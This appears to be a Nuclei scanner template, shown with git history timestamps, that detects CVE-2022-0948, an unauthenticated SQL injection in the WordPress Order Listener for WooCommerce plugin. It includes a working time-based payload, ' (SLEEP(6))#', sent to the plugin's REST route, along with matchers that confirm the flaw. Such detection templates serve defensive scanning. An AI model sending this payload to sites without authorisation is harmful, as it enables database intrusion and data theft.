nuclei-templates/http/cves/2022/CVE-2022-0948.yaml

56 lines
2.4 KiB
YAML
Raw Normal View History

2022-12-03 11:04:00 +00:00
id: CVE-2022-0948
info:
name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
2022-12-03 11:04:00 +00:00
author: theamanrawat
severity: critical
description: |
WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation: |
Update the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later.
2022-12-03 11:04:00 +00:00
reference:
- https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
- https://wordpress.org/plugins/woc-order-alert/
- https://plugins.trac.wordpress.org/changeset/2707223
- https://nvd.nist.gov/vuln/detail/CVE-2022-0948
- https://github.com/ARPSyndicate/kenzer-templates
2022-12-03 11:04:00 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-12-03 11:04:00 +00:00
cve-id: CVE-2022-0948
cwe-id: CWE-89
epss-score: 0.04964
epss-percentile: 0.92058
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:pluginbazaar:order_listener_for_woocommerce:*:*:*:*:*:wordpress:*:*
2022-12-03 11:04:00 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: pluginbazaar
product: order_listener_for_woocommerce
2023-09-06 11:59:08 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,wp,unauth,sqli,woc-order-alert,wpscan,wordpress,wp-plugin,pluginbazaar
2022-12-03 11:04:00 +00:00
http:
2022-12-03 11:04:00 +00:00
- raw:
- |
@timeout: 15s
POST /?rest_route=/olistener/new HTTP/1.1
Host: {{Hostname}}
content-type: application/json
{"id":" (SLEEP(6))#"}
2022-12-05 11:53:26 +00:00
- |
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
Host: {{Hostname}}
2022-12-03 11:04:00 +00:00
matchers:
- type: dsl
dsl:
2022-12-05 11:53:26 +00:00
- 'duration_1>=6'
- 'status_code_1 == 200'
- 'contains(content_type_1, "application/json")'
- 'contains(body_2, "olistener-action.olistener-controller")'
condition: and
# digest: 4b0a00483046022100eac14893041a8c8b601c44e3a29d53238551de310bae8c6ef61bb4d9a4ba9e20022100f9a3583c3b3a0f14ef812ab4680ae4cdf03aa04c581ed3a5b795e520c89b8ddf:922c64590222798bb761d5b6d8e72950